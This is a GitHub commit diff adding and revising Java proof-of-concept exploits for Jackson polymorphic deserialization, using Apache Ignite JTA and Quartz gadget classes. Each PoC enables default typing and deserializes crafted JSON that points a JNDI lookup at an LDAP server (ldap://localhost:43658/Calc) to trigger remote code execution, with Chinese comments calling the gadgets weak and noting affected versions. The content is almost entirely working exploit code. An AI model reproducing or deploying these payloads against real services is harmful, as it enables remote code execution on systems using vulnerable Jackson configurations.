File tree Expand file tree Collapse file tree 2 files changed +65
-2
lines changed
jackson/src/main/java/com/threedr3am/bug/jackson/rce Expand file tree Collapse file tree 2 files changed +65
-2
lines changed Original file line number Diff line number Diff line change 1+ package com .threedr3am .bug .jackson .rce ;
2+
3+ import com .fasterxml .jackson .databind .ObjectMapper ;
4+ import com .threedr3am .bug .common .server .LdapServer ;
5+ import java .io .IOException ;
6+ import org .apache .ignite .cache .jta .jndi .CacheJndiTmFactory ;
7+
8+ /**
9+ *
10+ * 鸡肋中的鸡肋,需要调用 ((CacheJndiTmFactory) o).create() 才能触发
11+ *
12+ * ignite jta gadget
13+ *
14+ * Mitre id:
15+ * Reporters:
16+ *
17+ * Fix will be included in:
18+ *
19+ * 2.9.10.4
20+ * Does not affect 2.10.0 and later
21+ *
22+ * <dependency>
23+ * <groupId>org.apache.ignite</groupId>
24+ * <artifactId>ignite-jta</artifactId>
25+ * <version>2.8.0</version>
26+ * </dependency>
27+ *
28+ * @author threedr3am
29+ */
30+ public class IgniteJtaPoc2 {
31+
32+ static {
33+ //rmi server示例
34+ // RmiServer.run();
35+
36+ //ldap server示例
37+ LdapServer .run ();
38+ }
39+
40+ public static void main (String [] args ) throws IOException {
41+ ObjectMapper mapper = new ObjectMapper ();
42+ mapper .enableDefaultTyping ();
43+
44+ //最近看到的gadget怎么尽是鸡肋的鸡肋
45+ String json = "[\" org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory\" , {\" jndiNames\" : [\" ldap://localhost:43658/Calc\" ]}]" ;
46+ Object o = mapper .readValue (json , Object .class );
47+ ((CacheJndiTmFactory ) o ).create ();
48+
49+ }
50+
51+ }
Original file line number Diff line number Diff line change 11package com .threedr3am .bug .jackson .rce ;
22
3+ import com .fasterxml .jackson .annotation .JsonCreator ;
4+ import com .fasterxml .jackson .annotation .JsonProperty ;
35import com .fasterxml .jackson .databind .ObjectMapper ;
46import com .threedr3am .bug .common .server .LdapServer ;
57import java .io .IOException ;
8+ import org .quartz .utils .JNDIConnectionProvider ;
69
710/**
11+ * 比鸡肋还鸡肋的gadget
12+ *
813 * @author threedr3am
914 */
1015public class QuartzPoc {
@@ -21,10 +26,17 @@ public static void main(String[] args) throws IOException {
2126 ObjectMapper mapper = new ObjectMapper ();
2227 mapper .enableDefaultTyping ();
2328
24- //todo 不知为何官方加这个黑名单,明明构造方法形式最多只能选择1个参数的构造方法,而听说有人居然复现成功了???...
25- String json = "[\" org.quartz.utils.JNDIConnectionProvider\" , \" ldap://localhost:43658/Calc\" , false]" ;
29+ //复现是复现了,但是这样的payload恕我直言,比鸡肋还鸡肋
30+ mapper .addMixIn (JNDIConnectionProvider .class , AbstractJNDIConnectionProvider .class );
31+ String json = "[\" org.quartz.utils.JNDIConnectionProvider\" , {\" jndiUrl\" : \" ldap://localhost:43658/Calc\" }]" ;
2632 mapper .readValue (json , Object .class );
2733 }
2834
2935
3036}
37+ abstract class AbstractJNDIConnectionProvider extends JNDIConnectionProvider {
38+ @ JsonCreator
39+ public AbstractJNDIConnectionProvider ( @ JsonProperty ("jndiUrl" ) String jndiUrl , @ JsonProperty ("alwaysLookup" ) boolean alwaysLookup ) {
40+ super (jndiUrl , alwaysLookup );
41+ }
42+ }
You can’t perform that action at this time.
0 commit comments